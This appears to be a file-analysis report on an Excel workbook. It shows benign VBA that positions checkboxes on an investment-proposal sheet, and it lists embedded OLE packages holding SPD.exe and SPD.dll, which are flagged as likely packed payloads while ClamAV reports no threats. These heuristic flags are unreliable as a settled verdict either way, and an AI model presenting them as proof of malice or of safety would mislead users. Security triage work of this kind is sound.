Sheets("Investeringsforslag").CheckBox67.Value = True

ActiveSheet.OLEObjects("CheckBox26").Top = 2647.8
ActiveSheet.OLEObjects("CheckBox26").Left = 0
ActiveSheet.OLEObjects("CheckBox26").Width = 109.8
ActiveSheet.OLEObjects("CheckBox26").Height = 27.6
ActiveSheet.OLEObjects("CheckBox31").Top = 2647.8
ActiveSheet.OLEObjects("CheckBox31").Left = 300
ActiveSheet.OLEObjects("CheckBox31").Width = 145.8
ActiveSheet.OLEObjects("CheckBox31").Height = 28.2
ActiveSheet.OLEObjects("CheckBox32").Top = 2647.8
ActiveSheet.OLEObjects("CheckBox32").Left = 460.8
ActiveSheet.OLEObjects("CheckBox32").Width = 109.8
ActiveSheet.OLEObjects("CheckBox32").Height = 28.2
ActiveSheet.OLEObjects("CheckBox37").Top = 1291.8
ActiveSheet.OLEObjects("CheckBox37").Left = 679.8
ActiveSheet.OLEObjects("CheckBox37").Width = 0
ActiveSheet.OLEObjects("CheckBox37").Height = 29.4
ActiveSheet.OLEObjects("CheckBox9").Top = 1452.6
ActiveSheet.OLEObjects("CheckBox9").Left = 493.8
ActiveSheet.OLEObjects("CheckBox9").Width = 10.8
ActiveSheet.OLEObjects("CheckBox9").Height = 14.4
ActiveSheet.OLEObjects("CheckBox10").Top = 1468.2
ActiveSheet.OLEObjects("CheckBox10").Left = 493.8
ActiveSheet.OLEObjects("CheckBox10").Width = 10.8
ActiveSheet.OLEObjects("CheckBox10").Height = 14.4
ActiveSheet.OLEObjects("CheckBox11").Top = 1483.8
ActiveSheet.OLEObjects("CheckBox11").Left = 493.8
ActiveSheet.OLEObjects("CheckBox11").Width = 10.8
ActiveSheet.OLEObjects("CheckBox11").Height = 14.4
ActiveSheet.OLEObjects("CheckBox12").Top = 1499.4
ActiveSheet.OLEObjects("CheckBox12").Left = 493.8
ActiveSheet.OLEObjects("CheckBox12").Width = 10.8
ActiveSheet.OLEObjects("CheckBox12").Height = 14.4
ActiveSheet.OLEObjects("CheckBox13").Top = 1515
ActiveSheet.OLEObjects("CheckBox13").Left = 493.8
ActiveSheet.OLEObjects("CheckBox13").Width = 10.8
ActiveSheet.OLEObjects("CheckBox13").Height = 14.4
ActiveSheet.OLEObjects("CheckBox14").Top = 1530.6
ActiveSheet.OLEObjects("CheckBox14").Left = 493.8
ActiveSheet.OLEObjects("CheckBox14").Width = 10.8
ActiveSheet.OLEObjects("CheckBox14").Height = 14.4
ActiveSheet.OLEObjects("CheckBox2").Top = 1452.6
ActiveSheet.OLEObjects("CheckBox2").Left = 433.2
ActiveSheet.OLEObjects("CheckBox2").Width = 10.2
ActiveSheet.OLEObjects("CheckBox2").Height = 15
ActiveSheet.OLEObjects("CheckBox4").Top = 1468.2
ActiveSheet.OLEObjects("CheckBox4").Left = 433.2
ActiveSheet.OLEObjects("CheckBox4").Width = 10.8
ActiveSheet.OLEObjects("CheckBox4").Height = 14.4
ActiveSheet.OLEObjects("CheckBox5").Top = 1483.8
ActiveSheet.OLEObjects("CheckBox5").Left = 433.2
ActiveSheet.OLEObjects("CheckBox5").Width = 10.8
ActiveSheet.OLEObjects("CheckBox5").Height = 14.4
ActiveSheet.OLEObjects("CheckBox6").Top = 1499.4
ActiveSheet.OLEObjects("CheckBox6").Left = 433.2
ActiveSheet.OLEObjects("CheckBox6").Width = 10.8
ActiveSheet.OLEObjects("CheckBox6").Height = 14.4
ActiveSheet.OLEObjects("CheckBox7").Top = 1515
ActiveSheet.OLEObjects("CheckBox7").Left = 433.2
ActiveSheet.OLEObjects("CheckBox7").Width = 10.8
ActiveSheet.OLEObjects("CheckBox7").Height = 14.4
ActiveSheet.OLEObjects("CheckBox8").Top = 1530.6
ActiveSheet.OLEObjects("CheckBox8").Left = 433.2
ActiveSheet.OLEObjects("CheckBox8").Width = 10.8
ActiveSheet.OLEObjects("CheckBox8").Height = 14.4
ActiveSheet.OLEObjects("CheckBox15").Top = 1452.6
ActiveSheet.OLEObjects("CheckBox15").Left = 553.8
ActiveSheet.OLEObjects("CheckBox15").Width = 10.8
ActiveSheet.OLEObjects("CheckBox15").Height = 14.4
ActiveSheet.OLEObjects("CheckBox16").Top = 1468.2
ActiveSheet.OLEObjects("CheckBox16").Left = 553.8
ActiveSheet.OLEObjects("CheckBox16").Width = 10.8
ActiveSheet.OLEObjects("CheckBox16").Height = 14.4
ActiveSheet.OLEObjects("CheckBox17").Top = 1483.8
ActiveSheet.OLEObjects("CheckBox17").Left = 553.8
ActiveSheet.OLEObjects("CheckBox17").Width = 10.8
ActiveSheet.OLEObjects("CheckBox17").Height = 14.4
ActiveSheet.OLEObjects("CheckBox18").Top = 1499.4
ActiveSheet.OLEObjects("CheckBox18").Left = 553.8
ActiveSheet.OLEObjects("CheckBox18").Width = 10.8
ActiveSheet.OLEObjects("CheckBox18").Height = 14.4
ActiveSheet.OLEObjects("CheckBox19").Top = 1515
ActiveSheet.OLEObjects("CheckBox19").Left = 553.8
ActiveSheet.OLEObjects("CheckBox19").Width = 10.8
ActiveSheet.OLEObjects("CheckBox19").Height = 14.4
ActiveSheet.OLEObjects("CheckBox20").Top = 1530.6
ActiveSheet.OLEObjects("CheckBox20").Left = 553.8
ActiveSheet.OLEObjects("CheckBox20").Width = 10.8
ActiveSheet.OLEObjects("CheckBox20").Height = 14.4
ActiveSheet.OLEObjects("CheckBox50").Top = 2647.8
ActiveSheet.OLEObjects("CheckBox50").Left = 137.4
ActiveSheet.OLEObjects("CheckBox50").Width = 146.4
ActiveSheet.OLEObjects("CheckBox50").Height = 28.2
ActiveSheet.OLEObjects("CheckBox29").Top = 1884
ActiveSheet.OLEObjects("CheckBox29").Left = 334.2
ActiveSheet.OLEObjects("CheckBox29").Width = 10.8
ActiveSheet.OLEObjects("CheckBox29").Height = 15
ActiveSheet.OLEObjects("CheckBox33").Top = 1884
ActiveSheet.OLEObjects("CheckBox33").Left = 396.6
ActiveSheet.OLEObjects("CheckBox33").Width = 10.8
ActiveSheet.OLEObjects("CheckBox33").Height = 15
ActiveSheet.OLEObjects("CheckBox34").Top = 1884
ActiveSheet.OLEObjects("CheckBox34").Left = 457.2
ActiveSheet.OLEObjects("CheckBox34").Width = 10.2
ActiveSheet.OLEObjects("CheckBox34").Height = 15
ActiveSheet.OLEObjects("CheckBox35").Top = 1884
ActiveSheet.OLEObjects("CheckBox35").Left = 518.4
ActiveSheet.OLEObjects("CheckBox35").Width = 10.8
ActiveSheet.OLEObjects("CheckBox35").Height = 15
ActiveSheet.OLEObjects("CheckBox51").Top = 1884
ActiveSheet.OLEObjects("CheckBox51").Left = 579.6
ActiveSheet.OLEObjects("CheckBox51").Width = 10.8
ActiveSheet.OLEObjects("CheckBox51").Height = 15
ActiveSheet.OLEObjects("CheckBox52").Top = 2149.8
ActiveSheet.OLEObjects("CheckBox52").Left = 334.2
ActiveSheet.OLEObjects("CheckBox52").Width = 10.8
ActiveSheet.OLEObjects("CheckBox52").Height = 17.4
ActiveSheet.OLEObjects("CheckBox53").Top = 2149.8
ActiveSheet.OLEObjects("CheckBox53").Left = 396.6
ActiveSheet.OLEObjects("CheckBox53").Width = 10.8
ActiveSheet.OLEObjects("CheckBox53").Height = 17.4
ActiveSheet.OLEObjects("CheckBox54").Top = 2149.8
ActiveSheet.OLEObjects("CheckBox54").Left = 457.2
ActiveSheet.OLEObjects("CheckBox54").Width = 10.2
ActiveSheet.OLEObjects("CheckBox54").Height = 17.4
ActiveSheet.OLEObjects("CheckBox55").Top = 2149.8
ActiveSheet.OLEObjects("CheckBox55").Left = 518.4
ActiveSheet.OLEObjects("CheckBox55").Width = 10.8
ActiveSheet.OLEObjects("CheckBox55").Height = 17.4
ActiveSheet.OLEObjects("CheckBox56").Top = 2149.8
ActiveSheet.OLEObjects("CheckBox56").Left = 579.6
ActiveSheet.OLEObjects("CheckBox56").Width = 10.8
ActiveSheet.OLEObjects("CheckBox56").Height = 17.4
ActiveSheet.OLEObjects("CheckBox57").Top = 7306.8
ActiveSheet.OLEObjects("CheckBox57").Left = 88.8
ActiveSheet.OLEObjects("CheckBox57").Width = 190.2
ActiveSheet.OLEObjects("CheckBox57").Height = 27
ActiveSheet.OLEObjects("CheckBox58").Top = 7339.8
ActiveSheet.OLEObjects("CheckBox58").Left = 88.8
ActiveSheet.OLEObjects("CheckBox58").Width = 189
ActiveSheet.OLEObjects("CheckBox58").Height = 27.6
ActiveSheet.OLEObjects("CheckBox59").Top = 7372.8
ActiveSheet.OLEObjects("CheckBox59").Left = 88.8
ActiveSheet.OLEObjects("CheckBox59").Width = 193.2
ActiveSheet.OLEObjects("CheckBox59").Height = 27.6
ActiveSheet.OLEObjects("CheckBox60").Top = 7405.2
ActiveSheet.OLEObjects("CheckBox60").Left = 88.8
ActiveSheet.OLEObjects("CheckBox60").Width = 204
ActiveSheet.OLEObjects("CheckBox60").Height = 26.4
ActiveSheet.OLEObjects("CheckBox61").Top = 7437.6
ActiveSheet.OLEObjects("CheckBox61").Left = 88.8
ActiveSheet.OLEObjects("CheckBox61").Width = 213.6
ActiveSheet.OLEObjects("CheckBox61").Height = 27
ActiveSheet.OLEObjects("CheckBox62").Top = 7470.6
ActiveSheet.OLEObjects("CheckBox62").Left = 88.8
ActiveSheet.OLEObjects("CheckBox62").Width = 210.6
ActiveSheet.OLEObjects("CheckBox62").Height = 26.4
ActiveSheet.OLEObjects("CheckBox63").Top = 7306.2
ActiveSheet.OLEObjects("CheckBox63").Left = 321.6
ActiveSheet.OLEObjects("CheckBox63").Width = 174
ActiveSheet.OLEObjects("CheckBox63").Height = 27
ActiveSheet.OLEObjects("CheckBox64").Top = 7371.6
ActiveSheet.OLEObjects("CheckBox64").Left = 321.6
ActiveSheet.OLEObjects("CheckBox64").Width = 195.6
ActiveSheet.OLEObjects("CheckBox64").Height = 27
ActiveSheet.OLEObjects("CheckBox66").Top = 7400.4
ActiveSheet.OLEObjects("CheckBox66").Left = 321.6
ActiveSheet.OLEObjects("CheckBox66").Width = 129
ActiveSheet.OLEObjects("CheckBox66").Height = 27
ActiveSheet.OLEObjects("CheckBox67").Top = 7306.2
ActiveSheet.OLEObjects("CheckBox67").Left = 567.6
ActiveSheet.OLEObjects("CheckBox67").Width = 243
ActiveSheet.OLEObjects("CheckBox67").Height = 27
ActiveSheet.OLEObjects("CheckBox68").Top = 7431.6
ActiveSheet.OLEObjects("CheckBox68").Left = 321.6
ActiveSheet.OLEObjects("CheckBox68").Width = 229.2
ActiveSheet.OLEObjects("CheckBox68").Height = 27
ActiveSheet.OLEObjects("CheckBox69").Top = 7503.6
ActiveSheet.OLEObjects("CheckBox69").Left = 88.8
ActiveSheet.OLEObjects("CheckBox69").Width = 199.2
ActiveSheet.OLEObjects("CheckBox69").Height = 27
ActiveSheet.OLEObjects("CheckBox39").Top = 1269
ActiveSheet.OLEObjects("CheckBox39").Left = 432
ActiveSheet.OLEObjects("CheckBox39").Width = 26.4
ActiveSheet.OLEObjects("CheckBox39").Height = 17.4
ActiveSheet.OLEObjects("CheckBox40").Top = 1269
ActiveSheet.OLEObjects("CheckBox40").Left = 469.2
ActiveSheet.OLEObjects("CheckBox40").Width = 66
…
ooxml_oleobject_00.bin ooxml-ole-object OOXML embedded OLE part: xl/embeddings/oleObject2.bin 300544 bytes
SHA-256: 7e1a722984a1e658a38c0638de9dc8d9b5401656c2ebe4e0d47d4b4964f69d6f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.96, consistent with packed or encrypted content.
ooxml_oleobject_00_ole10native_00.bin ole-package OOXML xl/embeddings/oleObject2.bin Ole10Native stream: Ole10Native 295883 bytes
SHA-256: dfd34da79d07e7e73e42d2f4b041ec604cf421d2398438c714eac1293e9183d5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.98, consistent with packed or encrypted content.
ooxml_oleobject_00_ole10native_00_SPD.exe ole-package-payload OOXML xl/embeddings/oleObject2.bin Ole10Native payload: display_name=SPD.exe; full_path=C:\Users\Tobias\AppData\Local\Temp\SPD.exe; temp_path=; def_file= 295424 bytes
SHA-256: 9a305116bdb925cd20126f7ee3cc07174ca90bf558cf5e72665093297695bcd6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.98, consistent with packed or encrypted content.
ooxml_oleobject_01.bin ooxml-ole-object OOXML embedded OLE part: xl/embeddings/oleObject1.bin 300032 bytes
SHA-256: 2f5291f5f8d8430a03317f852cc10edf8b379591d9d3eac4a1b846c0cf209506
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.96, consistent with packed or encrypted content.
ooxml_oleobject_01_ole10native_00.bin ole-package OOXML xl/embeddings/oleObject1.bin Ole10Native stream: Ole10Native 295347 bytes
SHA-256: b7d89c6b680a99896888ee30ca9063328cc36df4ce548f9d009c09c09af2459a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.98, consistent with packed or encrypted content.
ooxml_oleobject_01_ole10native_00_SPD.dll ole-package-payload OOXML xl/embeddings/oleObject1.bin Ole10Native payload: display_name=SPD.dll; full_path=C:\Users\Tobias\AppData\Local\Temp\SPD.dll; temp_path=; def_file= 294912 bytes
SHA-256: 4b4179d7c709719b871140e314a0069d2b8fa331d3a704e8b129f4c514785e54
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.98, consistent with packed or encrypted content.
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 206848 bytes
SHA-256: 32ac62c33541c063a900424e7893e8b60bd19c9de3b56e4046144bc312da658e
emf_00.emf ooxml-emf OOXML EMF part: xl/media/image33.emf 1720 bytes
SHA-256: 17fe3f2325fd9b8ef1207df03fc84740f1a2d09415e655a4ed2737c1adeb8a71
emf_01.emf ooxml-emf OOXML EMF part: xl/media/image42.emf 2528 bytes
SHA-256: 486007f2b7c5d17aee566a3c3c3b01c90f08ffd6b6934060e1f137989dcf6431
emf_02.emf ooxml-emf OOXML EMF part: xl/media/image6.emf 4976 bytes
SHA-256: 94374968ad8ab0008603078fe3ef15e4d7ec817ba2f45b1226b9b49635e272e7
emf_03.emf ooxml-emf OOXML EMF part: xl/media/image7.emf 7280 bytes
SHA-256: d46c239ffeca5236d71bee513943dab04a776be9f4d88cbbe857dd947f6cdaaf
emf_04.emf ooxml-emf OOXML EMF part: xl/media/image8.emf 2760 bytes
SHA-256: f514fb2dcc63e8305f2abffb601a57d1ade334adc198139f4b15afd4c1ff0ed7
emf_05.emf ooxml-emf OOXML EMF part: xl/media/image34.emf 1720 bytes
SHA-256: 3fec9a73254d9b98f3e282562738768e75fef1db978e9e409a6be2f823b4c841
emf_06.emf ooxml-emf OOXML EMF part: xl/media/image9.emf 2592 bytes
SHA-256: beb4dcfe7d29071c1b3e24789154b67fc1242dd5b06c3c85f60343556c41eddd
emf_07.emf ooxml-emf OOXML EMF part: xl/media/image10.emf 2764 bytes
SHA-256: 8e4316cf39465ddeb0cf10920fd5aa54bf77fbac595739a194bfde88ed794b2d
emf_08.emf ooxml-emf OOXML EMF part: xl/media/image35.emf 1720 bytes
SHA-256: 03434430b9937f890bc656063338eddb03407c79ac558be1fe7ae1c2f21c3037
emf_09.emf ooxml-emf OOXML EMF part: xl/media/image11.emf 2820 bytes
SHA-256: 3a459ef4374aaa2b7ea7a9022d2c1aa433edabcb29fbddd1d0803e0899415794
emf_10.emf ooxml-emf OOXML EMF part: xl/media/image12.emf 2712 bytes
SHA-256: b4a81b5597ef5f002bf50a197c315d77cbaf0ebe1095343c76355bb506c422e7
emf_11.emf ooxml-emf OOXML EMF part: xl/media/image36.emf 1720 bytes
SHA-256: 14be38f105b1239a17aca3629fe361559a72c7a4cdc1bd99d9782b65fb494bb7
emf_12.emf ooxml-emf OOXML EMF part: xl/media/image13.emf 2556 bytes
SHA-256: 1597605beb0670070d993200424bb13546d2fd303bf8f935aab68dd9f21d9a1e
emf_13.emf ooxml-emf OOXML EMF part: xl/media/image14.emf 2812 bytes
SHA-256: 7f51c94a8899b02adda56505c5d90424ff5b505f3b8cd0d15d31601851f97b0a
emf_14.emf ooxml-emf OOXML EMF part: xl/media/image37.emf 1616 bytes
SHA-256: 7db8d52cb3b976ec2fb25a491441b965bcd1b7bc265e8b0d5948d7beabd76563
emf_15.emf ooxml-emf OOXML EMF part: xl/media/image15.emf 2796 bytes
SHA-256: a1a6021f82a7b0a11cec3c0bc30144bc1641479df03f6a2c1a5b1234514a4e6c
emf_16.emf ooxml-emf OOXML EMF part: xl/media/image16.emf 2044 bytes
SHA-256: 2feb3716d7db4c8e4587a6e9e8ddbe741f8281c75caaf1a3c6cc4ffb8fd805b7
emf_17.emf ooxml-emf OOXML EMF part: xl/media/image17.emf 2044 bytes
SHA-256: 9009e625731a854121f25d2b2fd828fabdaf249c1db2415c12a60ab802627223
emf_18.emf ooxml-emf OOXML EMF part: xl/media/image18.emf 1940 bytes
SHA-256: 4be84946b83bcce386d7f8bb1a79ddf432e6a024fd14c34271c08450c8e9548f
emf_19.emf ooxml-emf OOXML EMF part: xl/media/image19.emf 2776 bytes
SHA-256: bae7605b817a323555801b01c7f584fd65a1a4f736add1cb2bd176c877390bde
emf_20.emf ooxml-emf OOXML EMF part: xl/media/image20.emf 2820 bytes
SHA-256: 134fa32d4205f6348cf70250d8713596201b4e524cfeaec0f0f0e8e74969bf28
emf_21.emf ooxml-emf OOXML EMF part: xl/media/image38.emf 2476 bytes
SHA-256: 9b3182f1069194623a8d31299ce9c87c4a06199b1cb05987ddc12423abc91c8a
emf_22.emf ooxml-emf OOXML EMF part: xl/media/image21.emf 2760 bytes
SHA-256: 529ed57e73575ad3d40af01d15095cb1ff1dc446cddaeb8b56f5e1f6d548cfb9
emf_23.emf ooxml-emf OOXML EMF part: xl/media/image39.emf 2540 bytes
SHA-256: 16a1beb041c63497e6f3a57656d6d1905c3330b43d9dd163d467554cef34d217

Open this report in the interactive analyzer, or submit your own file for analysis.